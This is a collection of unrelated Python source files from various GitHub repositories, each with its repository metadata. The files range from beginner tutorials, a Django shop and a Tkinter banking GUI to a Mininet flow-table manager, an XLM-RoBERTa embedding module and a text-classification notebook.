0aad9bb61aed96c948d495bbfe3bebc3f7436d4b
/Essentials/06dictionaries.py
10e0d3faf903351b57bf58c160b2a45fe2a86c76
[]
no_license
canbaran011/python101
308f80f5d80cf134a45efe0b869becd905334656
f2a65a25781d2c6b9bbef0ca6df5a084ca6b9525
refs/heads/master
2023-05-13T09:02:49.670152
2021-05-23T09:59:19
2021-05-23T09:59:19
269,565,759
0
0
null
null
null
null
UTF-8
Python
false
false
1,301
py
# A dictionary is a data type similar to arrays, but works with keys and values instead of indexes. Each value stored in a dictionary can be accessed using a key, which is any type of object (a string, a number, a list, etc.) instead of using its index to address it. phonebook = {} phonebook["John"] = 938477566 phonebook["Jack"] = 938377264 phonebook["Jill"] = 947662781 print(phonebook) #ALTERNATIVELY phonebook = { "John" : 938477566, "Jack" : 938377264, "Jill" : 947662781 } phonebook print(phonebook) # Iterate Dictionaries phonebook = {"John" : 938477566,"Jack" : 938377264,"Jill" : 947662781} for name, number in phonebook.items(): print("Phone number of %s is %d" % (name, number)) # Removing a value phonebook2 = { "John" : 938477566, "Jack" : 938377264, "Jill" : 947662781 } del phonebook2["John"] # or # phonebook2.pop("John") print(phonebook2) ###################### Exercise ############################# phonebook = { "John" : 938477566, "Jack" : 938377264, "Jill" : 947662781 } # your code goes here phonebook["jake"] = 938273443 phonebook.pop("Jill") # testing code if "Jake" in phonebook: print("Jake is listed in the phonebook.") if "Jill" not in phonebook: print("Jill is not listed in the phonebook.")
[ "canbaran011@gmail.com" ]
canbaran011@gmail.com
4272d472825782aa92cf8eb16832a053ff7d4ad5
75bd6d6b23dd46fcac7b1dceb709c5a5c7de5f2d
/Projects/ecom/root/ecommerce/views.py
75cfbb98b5525d194df99a0c1730c03c1fb3c264
[]
no_license
NayanDharviya/Python-Django-Projects
60108596c02015c54cea38949dfcbd1fa69d3fb5
0ce7bfb8118fd4d9ad1f0a589754cac9e67990ad
refs/heads/master
2021-02-12T10:38:31.596644
2020-03-04T10:41:53
2020-03-04T10:41:53
244,586,595
0
0
null
null
null
null
UTF-8
Python
false
false
882
py
from django.http import HttpResponse from django.shortcuts import render,redirect from carts.models import Cart # def home_page(request): # return HttpResponse('<h1>new project</h1>') def contact(request): # cont=contactpage() con={'field':cont} return render(request,'contact.html',context=con) def home(request): cart_obj,new_obj=Cart.objects.new_or_get(request) request.session['cart_items']=cart_obj.products.all().count() # h=homepage() con={} if request.user.is_authenticated: con['name1']=request.user return render(request,'homepage.html',context=con) def about(request): # ab=about_page() con={} return render(request,'aboutpage.html') # def login_logout(request): # con={} # if request.user.is_authenticated: # con['name_']=request.user # return render(request,'menu.html',con)
[ "48516302+NayanDharviya@users.noreply.github.com" ]
48516302+NayanDharviya@users.noreply.github.com
8ce2eff4b18c57e710eb720c9633ffa7031c51ff
0887c5a119b5a882e46fea174516005060a6d321
/checkString.py
8a1e866bedfe17db457d8789fe45d097ce868134
[]
no_license
Divya5504/PYTHON
76f717ae554a74aeef532039f08371165d21cc8e
de7e4c2550c3ae851cff00da249dfaabe2568216
refs/heads/main
2022-12-29T04:25:22.279129
2020-10-14T08:59:06
2020-10-14T08:59:06
303,949,978
0
0
null
null
null
null
UTF-8
Python
false
false
756
py
# working of string in python name1 = "divya tulasi" # 1st way name2 = 'divya vaibhav' # 2nd way print(name1) print(name2) # print('i can't do work') it does not work print('i can\'t do work') print("i can't do work") # next line \n print("hi there \n python is awesome") # concatenation of string print(name1 + " " + name2) print(name1 + "address") # slicing of string print(name1[3] + " " + name2[3]) print(name1[-2] + " " + name1[-5]) # from left to right # for getting middle character print(name1[2:6]) print(name2[3:7]) print(name1[5:]) # from desired char to end print(name2[:9]) # length of a string address = "New ashok nagar hyderabad" print(len(address)) # A = "Data" B = "Analysis" C = "Pandas" print("{0} {1} using {2}".format(A, B, C))
[ "noreply@github.com" ]
Divya5504.noreply@github.com
64a0c195637a1f33f77767c41fcddd9b701dd2a6
863bc3dbf009492c974928a944bb144903e08cb5
/edgeverve_hiring.py
3e54ad1e7ebf6361abd14f7a1eece184c5791309
[]
no_license
amitrajitbose/product-category-prediction
299a6c4bf8a5fa0103c4d107b99391161266ce9b
62775fa7c9ea5e5d5a0203546e517a32a507675c
refs/heads/master
2020-08-04T00:52:50.992588
2019-09-30T19:54:11
2019-09-30T19:54:11
211,943,638
1
0
null
null
null
null
UTF-8
Python
false
false
5,406
py
# -*- coding: utf-8 -*- """Edgeverve_Hiring.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1kIckpFU6QJZnCG2WwWewHG3lBURh0QvL # The Great Indian Data Scientist Hiring Challenge ### Author: Amitrajit Bose - [Mail Me](amitrajitbose9@gmail.com) - [Connect](https://linkedin.com/in/amitrajitbose) - [More](https://amitrajitbose.github.io/) - [Github](https://github.com/amitrajitbose) <p align="right"> <img src="https://amitrajitbose.github.io/img/profile.jpg"> </p> """ from google.colab import files #files.upload() #!unzip 88b2c062-9-Dataset.zip !ls import numpy as np import pandas as pd df = pd.read_csv('Dataset/Train.csv') dftest = pd.read_csv('Dataset/Test.csv') dfsample = pd.read_csv('Dataset/sample_submission.csv') df.head() import nltk, string nltk.download('punkt') nltk.download('wordnet') nltk.download('stopwords') from nltk.stem.porter import PorterStemmer porter = PorterStemmer() from nltk.corpus import stopwords def get_tokens(s: str) -> list: """ Tokenizes a name string and returns the list of tokens """ table = str.maketrans( string.punctuation, ' '*len(string.punctuation)) s = s.lower().translate(table) tokens = [w for w in s.split() if w.isalpha()] return tokens def text_preprocess(text): """ Preprocess a string by removing punctuations, stopwords, stemming the tokens, etc. Returns a space separated string. """ tokens = get_tokens(text) tokens = [x.lower() for x in tokens] table = str.maketrans(' ', ' ', string.punctuation) stripped = [w.translate(table) for w in tokens] # remove remaining tokens that are not alphabetic words = [word for word in stripped if word.isalpha()] stop_words = set(stopwords.words('english')) words = [porter.stem(w) for w in words if not w in stop_words] return ' '.join(words) df['text'] = df.apply(lambda x: text_preprocess(x['Item_Description']), axis=1) df.head() import sklearn from sklearn.feature_extraction.text import TfidfVectorizer vectorizer = TfidfVectorizer(min_df=5, norm='l2', ngram_range=(1, 2), stop_words='english') vectorizer.fit(df.text.tolist()) #df['text_vector'] = df.apply(lambda x: vectorizer.transform(x['text'].split()), axis=1) text_features = vectorizer.fit_transform(df.text).toarray() labels = df.Product_Category one_hot_labels = list(set(labels)) def encode_labels(lab,one_hot_labels): return one_hot_labels.index(lab) from tqdm import tqdm_notebook as tqdm newlabels = [] for i in tqdm(labels): newlabels.append(encode_labels(i, one_hot_labels)) features = text_features.tolist() maxamt = max(df.Inv_Amt) minamt = min(df.Inv_Amt) k = 0 for i in tqdm(df.Inv_Amt): scaled = (i-minamt)/(maxamt-minamt) features[k].insert(0,scaled) k += 1 print(len(features),'X',len(features[0])) print("Feature Vector Shape: ", len(features[0])) featuresfinal = np.array(features) labelsfinal = np.array(newlabels) def reverse_encode(i, one_hot): return one_hot[i] from sklearn.model_selection import train_test_split X_train, X_test, Y_train, Y_test = train_test_split(featuresfinal, labelsfinal, test_size=0.2, random_state=42) X_train.shape, X_test.shape, Y_train.shape, Y_test.shape """## Model Selection""" from sklearn.linear_model import LogisticRegression from sklearn.ensemble import RandomForestClassifier from sklearn.svm import LinearSVC from sklearn.naive_bayes import MultinomialNB from sklearn.model_selection import cross_val_score from matplotlib import pyplot as plt models = [ RandomForestClassifier(n_estimators=200, max_depth=3, random_state=0), LinearSVC(), MultinomialNB(), LogisticRegression(random_state=0), ] CV = 5 cv_df = pd.DataFrame(index=range(CV * len(models))) entries = [] for model in models: model_name = model.__class__.__name__ accuracies = cross_val_score(model, features, labels, scoring='accuracy', cv=CV) for fold_idx, accuracy in enumerate(accuracies): entries.append((model_name, fold_idx, accuracy)) cv_df = pd.DataFrame(entries, columns=['model_name', 'fold_idx', 'accuracy']) import seaborn as sns sns.boxplot(x='model_name', y='accuracy', data=cv_df) sns.stripplot(x='model_name', y='accuracy', data=cv_df, size=8, jitter=True, edgecolor="gray", linewidth=2) plt.show() cv_df.groupby('model_name').accuracy.mean() """## Model Evaluation""" model = LinearSVC() X_train, X_test, Y_train, Y_test, indices_train, indices_test = train_test_split(featuresfinal, labelsfinal, df.index, test_size=0.2, random_state=42) model.fit(X_train, Y_train) Y_pred = model.predict(X_test) from sklearn.metrics import confusion_matrix conf_mat = confusion_matrix(Y_test, Y_pred) fig, ax = plt.subplots(figsize=(6,6)) sns.heatmap(conf_mat, annot=True, fmt='d') plt.ylabel('Actual') plt.xlabel('Predicted') plt.show() print("Train: ", model.score(X_train, Y_train)) print("Test: ",model.score(X_test, Y_test)) """## Generate Test CSV""" idx = [] category = [] for i in tqdm(dftest.itertuples()): idx.append(i.Inv_Id) text = i.Item_Description f = vectorizer.transform([text]).toarray().tolist() f[0].insert(0,i.Inv_Amt) x = model.predict(f)[0] category.append(reverse_encode(x, one_hot_labels)) print(len(idx), len(category)) submit = pd.DataFrame({'Inv_Id':idx, 'Product_Category':category}) submit.head() submit.to_csv('./submit.csv', index=0) #files.download('submit.csv')
[ "amitrajitbose9@gmail.com" ]
amitrajitbose9@gmail.com
f99449a4842509a41a82503744fc9643c0884b4d
de2125f4147550619de4bf125655cab5d379856d
/Gold Loan 2.py
9bb56715cdf37ddd8577c6c6260d5e078930ec4e
[]
no_license
joeljo2104/BankSystemTkinter
408278f4e645a09f0a5982d2254b28db8211a188
94a62c6497f3e12c689f64bd7a88ab927eee6524
refs/heads/master
2020-08-06T22:35:41.404487
2019-10-06T14:42:05
2019-10-06T14:42:05
213,184,130
0
0
null
null
null
null
UTF-8
Python
false
false
4,377
py
from tkinter import * import tkinter as tk import tkinter.messagebox import pickle , os , string , random , tkinter.ttk , tkinter.font from PIL import ImageTk, Image class GoldLoanWin(Frame): def __init__(self,master = None): Frame.__init__(self,master) self.master = master self.Main_GoldLoan() def Main_GoldLoan(self): self.master.title("Gold Loan") self.pack( fill = BOTH, expand = 1) self.ButtonConfirm = ImageTk.PhotoImage(Image.open("assets/Confirm2.png")) self.ButtonMonthly = ImageTk.PhotoImage(Image.open("assets/Monthly.png")) self.ButtonQuarterly = ImageTk.PhotoImage(Image.open("assets/Quarterly.png")) self.Button22 = ImageTk.PhotoImage(Image.open("assets/22 Carat.png")) self.Button24 = ImageTk.PhotoImage(Image.open("assets/24 Carat.png")) self.BGMainPage = ImageTk.PhotoImage(Image.open("assets/Slide19.jpg")) tk.Label(self,image = self.BGMainPage).pack() self.entry20 = Entry(self, font=('Montserrat','16')) self.entry20.place(x = 815, y = 225, width = 250) self.entry21 = Entry(self, font=('Montserrat','16')) self.entry21.place(x = 815, y = 285, width = 250) self.entry22 = Entry(self, font=('Montserrat','16')) self.entry22.place(x = 815, y = 405, width = 250) self.entry23 = Entry(self, font=('Montserrat','16')) self.entry23.place(x = 815, y = 466, width = 250) Button22 = Button(self, bd = 0, height = 50, width = 174, command = self.Carat22) Button22.config(image = self.Button22) Button22.place(x = 815, y = 140) Button24 = Button(self, bd = 0, height = 50, width = 174, command = self.Carat24) Button24.config(image = self.Button24) Button24.place(x = 1015, y = 140) self.Monthly = Button(self, bd = 0, state = DISABLED, height = 50, width = 174, command = self.MonthlyPayment) self.Monthly.config(image = self.ButtonMonthly) self.Monthly.place(x = 815, y = 518) self.Quarterly = Button(self, bd = 0, state = DISABLED, height = 50, width = 174, command = self.QuarterlyPayment) self.Quarterly.config(image = self.ButtonQuarterly) self.Quarterly.place(x = 1015, y = 518) self.Confirm = Button(self, bd = 0, state = DISABLED, height = 74, width = 330, command = self.End_GoldLoan) self.Confirm.config(image = self.ButtonConfirm) self.Confirm.place(x = 548, y = 595) def Carat22(self): self.GoldLoan_GoldType = '22 Carat' self.Quarterly.config(state="normal") self.Monthly.config(state="normal") def Carat24(self): self.GoldLoan_GoldType = '24 Carat' self.Quarterly.config(state="normal") self.Monthly.config(state="normal") def MonthlyPayment(self): self.GoldLoan_Payment = 'Monthly' self.Confirm.config(state="normal") def QuarterlyPayment(self): self.GoldLoan_Payment = 'Quarterly' self.Confirm.config(state="normal") def End_GoldLoan(self): global root10 root10 = Toplevel(self.master) root10.title("Gold Loan Confirmation") root10.geometry("1366x768") root10.state('zoomed') a1 = GoldLoanWin_End(root10) class GoldLoanWin_End(Frame): def __init__(self, master): Frame.__init__(self, master) self.End_GoldLoanWindow() def End_GoldLoanWindow(self): self.master.title("Gold Loan Confirmation") self.pack(fill = BOTH, expand = 1) self.ButtonMainMenu = ImageTk.PhotoImage(Image.open("assets/Main Menu.png")) self.BGGoldLoanEnd = ImageTk.PhotoImage(Image.open("assets/Slide20.jpg")) tk.Label(self,image = self.BGGoldLoanEnd).pack() self.label1 = Label(self,text = random.randint(1000,9000), font = ('Montserrat' , '30', 'bold'), bg = '#06357a', fg ='white', anchor = W) self.label1.place(x = 770, y = 385) ButtonMainMenu = Button(self, bd = 0, height = 74, width = 330, command = self.Main_Menu) ButtonMainMenu.config(image = self.ButtonMainMenu) ButtonMainMenu.place(x = 548, y = 595) def Main_Menu(self): os.startfile("Main Menu.py") self.quit() root = Tk() root.geometry("1366x768+0+0") root.state('zoomed') app = GoldLoanWin(root) root.mainloop()
[ "joeljo2104@gmail.com" ]
joeljo2104@gmail.com
527b60311a9838f33cde4a3d1478e61712f6591e
e4daea0a2bb2c101a2dad4e046be719a6bcbcfdf
/button_press_event_test.py
e840853b2255bb4855c42c65e36f2b954946c704
[]
no_license
qazsweet/NewToTown
c6446f56a51ed219253ec37cc065153909590402
c6e12f2b4fee00c51b3155f9a20e0b55d3581518
refs/heads/master
2021-05-01T08:45:44.502430
2018-02-11T22:30:47
2018-02-11T22:30:47
121,173,761
0
0
null
null
null
null
UTF-8
Python
false
false
747
py
from matplotlib import pyplot as plt class LineBuilder: def __init__(self, lineli): self.line = lineli self.xs = list(line.get_xdata()) self.ys = list(line.get_ydata()) self.cid = lineli.figure.canvas.mpl_connect('button_press_event', self) print(type(lineli)) def __call__(self, event): print('click', event) if event.inaxes!=self.line.axes: return self.xs.append(event.xdata) self.ys.append(event.ydata) self.line.set_data(self.xs, self.ys) self.line.figure.canvas.draw() fig = plt.figure() ax = fig.add_subplot(111) ax.set_title('click to build line segments') line, = ax.plot([0], [0]) # empty line linebuilder = LineBuilder(line) plt.show()
[ "ErinSweet201412@outlook.com" ]
ErinSweet201412@outlook.com
e9d9502dbb5e718619e517cfd05b10bf53244569
87f5af92c1acf16f625c9e40b171f790f0e146f9
/SDNetwork/Library/TestNet/Topology/TestNetEnvironment.py
686010cda129e2743cfb562510a4b52ce8e4abfc
[]
no_license
lgqiao/SDN-Routing
0e8f0ab395a78caacc3e41c98aff2a87454966c4
c9f85a870cdb4d114da510945d5041c9880cb470
refs/heads/master
2023-03-16T09:53:20.582665
2020-09-08T00:59:46
2020-09-08T00:59:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,216
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # TestNetEnvironment.py # Test Network Environment, OpenFlow Table Management # # Created by mpuchkov on 2019-11-18. # Copyright © 2019 Maxim Puchkov. All rights reserved. # from mininet.clean import cleanup from mininet.util import irange from TestNet.Logger import log from TestNet.Topology import ( BabyTopo, TinyTopo, SmallTopo, LargeTopo, MassiveTopo, TestNetEnvCLI ) from TestNet.Utility import ( TestNetLauncher, TestNetSelectionGroup, parser, display ) # Three default Topology presets def defaultPresetGroup(): group = ( BabyTopo, TinyTopo, SmallTopo, LargeTopo, MassiveTopo ) return TestNetSelectionGroup( group, 2 ) # Check a value is within (min, max) value range def inRange( value, valueRange ): (min, max) = valueRange return ( value >= min and value <= max ) # Ping a node from another node def ping( n1, n2, c = 1 ): _command = 'ping %s -c%s' % ( n2.IP(), c ) return ( _command, n1.cmd(_command) ) # OpenFlow flow tables # Provides interface to start networks, control, # and test simulated networks class TestNetEnvironment: def __init__( self ): self.launcher = TestNetLauncher() self.presetTopologies = defaultPresetGroup() # Remove previous mininet data def clean( self ): cleanup() log.infoln('Cleaned up old files') # Initialize network and flow tables def prepare( self, preset ): self.net = self.launcher.prepareNetwork( preset ) self.launcher.reassignAddresses( self.net ) self.flows = TestNetEnvironment.FlowTableManager( self.net.controllers[0] ) # Start simulation def start( self ): self.launcher.startNetwork( self.net ) # Stop simulation def stop( self ): self.launcher.stopNetwork( self.net ) # Interact def startCLI( self ): self.CLI = TestNetEnvCLI( self.net, self ) # Update Routing Tables def updateRoutes( self, lsAlgorithm, switches, linkWeights ): display.section("Adding Flow table entries...") log.infoln('Switch\t Protocols\t Dst-Address\t Actions') log.infoln('-------------------------------------------------------') weights = [ ( 's'+str(i[0]), 's'+str(i[1]), i[2] ) for i in linkWeights ] # For each switch for srcSwitch in switches: routes = lsAlgorithm( srcSwitch, weights ) # Compute the least cost route for each destination for route in routes: # Least cost paths to each destination host dstSwitch = route[-1] #last(route) dstHost = 'h%s' % dstSwitch[1:] dstAddress = self.IP(dstHost) # From a source host srcHost = 'h%s' % srcSwitch[1:] srcAddress = self.IP(srcHost) (iPort, oPort) = self.connectionPorts( srcHost, srcSwitch ) ## Add flows from a switch to its connected host self.flows.add( srcSwitch, srcAddress, oPort ) # Add Switch to Switch flows prev = srcSwitch # For every other switch in route for i in range( 1, len(route) ): current = route[i] (iPort, oPort) = self.connectionPorts( prev, current ) ## Add flow from previous to current switch self.flows.add( prev, dstAddress, iPort ) prev = current log.debugln('Source:', (srcSwitch, srcHost, srcAddress, oPort)) log.debugln('Destination', (dstSwitch, dstHost, dstAddress, oPort)) # Node instance def getNode( self, name ): return self.net.nameToNode[name] # Node instances def getNodes( self, *names ): return [ self.net.nameToNode[name] for name in names ] # Node IP def IP( self, name ): node = self.getNode( name ) if (node is None): return None return node.IP() # Output Port from node with name1 def connectionPorts( self, name1, name2 ): node1 = self.getNode( name1 ) node2 = self.getNode( name2 ) conn = node1.connectionsTo( node2 ) if (len(conn) == 0): return ( None, None ) (intf1, intf2) = conn[0] return ( intf1.node.ports[intf1], intf2.node.ports[intf2] ) # OpenFlow class FlowTableManager: shell = 'sh' program = 'sudo ovs-ofctl' protocols = ['ARP', 'IP'] # Specify the controller def __init__( self, controller ): self.controller = controller # Run 'ovs-ofctl' command-line tool on a switch def do( self, ofCommand ): shCommand = ' '.join( [self.program, ofCommand] ) return self.controller.cmd( shCommand ) # Display all flows def dump( self, switch ): return self.do( 'dump-flows %s' % switch ) # Add a new flow def add( self, switch, dstAddress, oPort ): # Log example: 's1 ARP, IP 192.168.1.1 output:3' log.infoln('%s\t\t %s\t %s\t output:%s' % (switch, ', '.join(self.protocols), dstAddress, oPort)) return [ self.do( 'add-flow %s %s,nw_dst=%s,actions=output:%s' % (switch, protocol.lower(), dstAddress, oPort) ) for protocol in self.protocols ] # Delete all flows def clear( self, switch ): return self.do( 'del-flows %s' % switch ) # Flow table size def size( self, switch ): return self.do( 'dump-flows %s | grep "table" -c' % switch ) # Two test hosts (h1, h2) def getTestHosts( self ): return [ self.net.nameToNode[name] for name in ['h1', 'h2'] ] # Testing network def nodeReachability( self, n1, n2 ): return ( ping(n1, n2), ping(n2, n1) ) # Get the index def getNetworkTopologyIndex( self, argv ): (min, max) = self.presetTopologies.range() default = self.presetTopologies.defaultIndex index = default # If network was not chosen on script start, # show the list of preset networks, and # ask to choose one. display.networkSelectionMenu( self.presetTopologies ) display.prompt('Input the index (%s to %s) of a network you want to test: ' % (min, max)) index = parser.waitForInput() # If input is invalid, then choose the first # network in the list (starts at index 1). if not ( inRange(index, (min, max)) ) : display.error('Index %s is out of range. Resetting index to default.' % (index)) index = default return index # Disable the link between node1 and node2 def simulateLinkProblem( self, link ): (name1, name2) = link (node1, node2) = self.getNodes( name1, name2 ) # link = self.net.link(node1, node2)#[0] #link.stop() # log.infoln('Link between nodes %s and %s has been disabled' % (link)) # return link
[ "mpuchkov@sfu.ca" ]
mpuchkov@sfu.ca
d319f3a12b80ada2ee75461c525f86ee4f4dfe2a
d5e9d49067ce172c50e686ba508a86868b97a011
/pallida-basic-exam-trial/oddfilter/odd_filter.py
187abd51a1b4182a1a4765095f77ec817e75026c
[]
no_license
green-fox-academy/criollo01
c6ccad49ae6616ba793829e7fdcbcc8ee6760b8f
097685498f6d6c87e888a601ebe0a46318b73028
refs/heads/master
2021-09-04T03:50:35.681432
2018-01-15T14:12:06
2018-01-15T14:12:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
608
py
# Create a function that takes a list as a parameter, # and returns a new list with every odd number from the orignal list # example: [1, 2, 3, 4, 5] should produce [1, 3, 5] # print(odd_filter([1, 2, 3, 4, 5])) # should print [1, 3, 5] numbers_list = [1, 2, 3, 4, 5] # def odd_filter(numbers_list): # for i in numbers_list: # if numbers_list[i] % 2 == 1: # return [numbers_list[0]] # print(numbers_list) # odd_filter(numbers_list) for i in range(0, len(numbers_list)): odd_list = [] if numbers_list[i] % 2 != 0 : odd_list.append(numbers_list[i]) print(odd_list)
[ "lucanagy@protonmail.com" ]
lucanagy@protonmail.com
6058bd4b5730edffec44d17fb24b363ec9c82ab4
813476c86eae58aaeb6d075ae0028d363c0fa485
/algo/siamese_transformers/models/xlm_roberta_model.py
47569c559046474a015704b710add4f75fa79088
[ "Apache-2.0" ]
permissive
sheffieldnlp/TransQuest
31efc671dfac5ee2c85dca1940908e1d5ceea035
3a7c283c91a5c9090a902a5c68025a84799437ff
refs/heads/master
2023-02-18T05:26:37.261436
2020-04-13T17:18:28
2020-04-13T17:18:28
264,239,043
2
0
Apache-2.0
2020-05-15T16:07:36
2020-05-15T16:07:35
null
UTF-8
Python
false
false
3,934
py
from torch import Tensor from torch import nn from transformers import XLMRobertaModel, XLMRobertaTokenizer import json from typing import Union, Tuple, List, Dict import os import numpy as np import logging class XLMRoBERTa(nn.Module): """RoBERTa model to generate token embeddings. Each token is mapped to an output vector from RoBERTa. """ def __init__(self, model_name_or_path: str, max_seq_length: int = 128, do_lower_case: bool = True): super(XLMRoBERTa, self).__init__() self.config_keys = ['max_seq_length', 'do_lower_case'] self.do_lower_case = do_lower_case self.xlm_roberta = XLMRobertaModel.from_pretrained(model_name_or_path) self.tokenizer = XLMRobertaTokenizer.from_pretrained(model_name_or_path, do_lower_case=do_lower_case) if max_seq_length > self.tokenizer.max_len_single_sentence: logging.warning("XLM-RoBERTa only allows a max_seq_length of "+self.tokenizer.max_len_single_sentence) max_seq_length = self.tokenizer.max_len_single_sentence self.max_seq_length = max_seq_length self.cls_token_id = self.tokenizer.cls_token_id self.eos_token_id = self.tokenizer.eos_token_id def forward(self, features): """Returns token_embeddings, cls_token""" #RoBERTa does not use token_type_ids output_tokens = self.xlm_roberta(input_ids=features['input_ids'], token_type_ids=None, attention_mask=features['input_mask'])[0] cls_tokens = output_tokens[:, 0, :] # CLS token is first token features.update({'token_embeddings': output_tokens, 'cls_token_embeddings': cls_tokens, 'input_mask': features['input_mask']}) return features def get_word_embedding_dimension(self) -> int: return self.xlm_roberta.config.hidden_size def tokenize(self, text: str) -> List[int]: """ Tokenizes a text and maps tokens to token-ids """ return self.tokenizer.convert_tokens_to_ids(self.tokenizer.tokenize(text)) def get_sentence_features(self, tokens: List[int], pad_seq_length: int): """ Convert tokenized sentence in its embedding ids, segment ids and mask :param tokens: a tokenized sentence :param pad_seq_length: the maximal length of the sequence. Cannot be greater than self.sentence_transformer_config.max_seq_length :return: embedding ids, segment ids and mask for the sentence """ pad_seq_length = min(pad_seq_length, self.max_seq_length) tokens = tokens[:pad_seq_length] input_ids = [self.cls_token_id] + tokens + [self.eos_token_id] sentence_length = len(input_ids) pad_seq_length += 3 ##Add Space for CLS + SEP + SEP token input_mask = [1] * len(input_ids) # Zero-pad up to the sequence length. BERT: Pad to the right padding = [0] * (pad_seq_length - len(input_ids)) input_ids += padding input_mask += padding assert len(input_ids) == pad_seq_length assert len(input_mask) == pad_seq_length return {'input_ids': np.asarray(input_ids, dtype=np.int64), 'input_mask': np.asarray(input_mask, dtype=np.int64), 'sentence_lengths': np.asarray(sentence_length, dtype=np.int64)} def get_config_dict(self): return {key: self.__dict__[key] for key in self.config_keys} def save(self, output_path: str): self.xlm_roberta.save_pretrained(output_path) self.tokenizer.save_pretrained(output_path) with open(os.path.join(output_path, 'sentence_xlm-roberta_config.json'), 'w') as fOut: json.dump(self.get_config_dict(), fOut, indent=2) @staticmethod def load(input_path: str): with open(os.path.join(input_path, 'sentence_xlm-roberta_config.json')) as fIn: config = json.load(fIn) return XLMRoBERTa(model_name_or_path=input_path, **config)
[ "rhtdranasinghe@gmail.com" ]
rhtdranasinghe@gmail.com
55b9123b552e947e962067f4dc01eeb2c970dcba
a45aa024fbaf9911beb000a3fc23ae52f1ce90c6
/data.py
7074e65766cd128ba04f16e66e4dae49b259d22f
[]
no_license
nazirimu/Quiz-App-GUI
9f70cc3b44c7fab4ad794541af07528ac23114d5
91240024bc12ce724fed01d5b8f0c3965f14c5ac
refs/heads/main
2023-02-12T21:02:51.250394
2021-01-02T10:07:28
2021-01-02T10:07:28
326,154,946
0
0
null
null
null
null
UTF-8
Python
false
false
3,716
py
# NEW CODE USING APIS import requests # Parameters required to use the quizler api parameters = { "amount" : 10, "type" : "boolean" } # Using the quizler api to get questions response = requests.get("http://opentdb.com/api.php", params=parameters) # Raising an error if non 200 response is received response.raise_for_status() # Converting the response into json data data = response.json() # extracting the questions from the json data question_data = data["results"] ## OLD CODE WITH HARD CODED QUESTIONS # question_data = [ # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "medium", # "question": "The HTML5 standard was published in 2014.", # "correct_answer": "True", # "incorrect_answers": [ # "False" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "medium", # "question": "The first computer bug was formed by faulty wires.", # "correct_answer": "False", # "incorrect_answers": [ # "True" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "medium", # "question": "FLAC stands for 'Free Lossless Audio Condenser'.", # "correct_answer": "False", # "incorrect_answers": [ # "True" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "medium", # "question": "All program codes have to be compiled into an executable file in order to be run. This file can then be executed on any machine.", # "correct_answer": "False", # "incorrect_answers": [ # "True" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "easy", # "question": "Linus Torvalds created Linux and Git.", # "correct_answer": "True", # "incorrect_answers": [ # "False" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "easy", # "question": "The programming language 'Python' is based off a modified version of 'JavaScript'", # "correct_answer": "False", # "incorrect_answers": [ # "True" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "medium", # "question": "AMD created the first consumer 64-bit processor.", # "correct_answer": "True", # "incorrect_answers": [ # "False" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "easy", # "question": "'HTML' stands for Hypertext Markup Language.", # "correct_answer": "True", # "incorrect_answers": [ # "False" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "easy", # "question": "In most programming languages, the operator ++ is equivalent to the statement '+= 1'.", # "correct_answer": "True", # "incorrect_answers": [ # "False" # ] # }, # { # "category": "Science: Computers", # "type": "boolean", # "difficulty": "hard", # "question": "The IBM PC used an Intel 8008 microprocessor clocked at 4.77 MHz and 8 kilobytes of memory.", # "correct_answer": "False", # "incorrect_answers": [ # "True" # ] # } # ]
[ "noreply@github.com" ]
nazirimu.noreply@github.com
f259320b1165d6ab55556de9d3ae1e0c9d195731
e42e9118f25d6558443a784f73205c46952c70e4
/analysis/machinelearning/generate_data_ping_failcheck.py
ec46106237942218c57d6682423888534cf5f495
[]
no_license
msp8955/myspeedtest_old
14f2c1fca81337bccec886fc97c6eca7707e24c2
c58cf0ed0099c7d8db7ee46ead23ea491f75de23
refs/heads/master
2021-01-20T23:21:16.717346
2014-09-05T16:33:49
2014-09-05T16:33:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,556
py
import sys sys.path.append('../') import database import pprint from queryconstructor import QueryConstructor from orangeconstructor import OrangeConstructor,Column from plotconstructor import LinePlot,Mapping def constructQuery(qc): qc.addSelect("device","networkcountry") #qc.addSelect("battery","level") #qc.addSelect("battery","plugged") #qc.addSelect("battery","50*(temperature/50)") qc.addSelect("network","connectiontype") #qc.addSelect("network","networktype") qc.addSelect("device","networkname") qc.addSelect("device","phonetype") qc.addSelect("device","phonemodel") qc.addSelect("device","devicedesign") #qc.addSelect("network","cellid") qc.addSelect("device","androidversion") qc.addSelect("network","signalstrength") qc.addSelect("network","datastate") qc.safeAddTable("warmup_experiment") #qc.addSelect("measurement","date_part('hour',\"localtime\")/4") qc.addSelectField("highest>1000") qc.addWhereNotEqualsString("device","networkname","") #qc.addWhereEqualsString("device","networkcountry","us") qc.applyMobileClauses() #qc.addWhereEqualsString("ping","dstip","www.google.com") qc=QueryConstructor() constructQuery(qc) qc.addWhereRaw("measurement.time<'2012-12-08 00:00:00'") learner_result = database.query(qc.toString()) qc=QueryConstructor() constructQuery(qc) qc.addWhereRaw("measurement.time>'2012-12-08 00:00:00'") eval_result = database.query(qc.toString()) orange = OrangeConstructor() i=0 orange.add(Column("country",i,"discrete",False)) i+=1 #orange.add(Column("battery",i,"continuous",False)) #i+=1 #orange.add(Column("plugged",i,"discrete",False)) #i+=1 #orange.add(Column("temperature",i,"continuous",False)) #i+=1 orange.add(Column("connectiontype",i,"discrete",False)) i+=1 #orange.add(Column("networktype",i,"discrete",False)) #i+=1 orange.add(Column("networkname",i,"discrete",False)) i+=1 orange.add(Column("phonetype",i,"discrete",False)) i+=1 orange.add(Column("phonemodel",i,"discrete",False)) i+=1 orange.add(Column("devicedesign",i,"discrete",False)) i+=1 #orange.add(Column("cellid",i,"discrete",False)) #i+=1 orange.add(Column("androidversion",i,"discrete",False)) i+=1 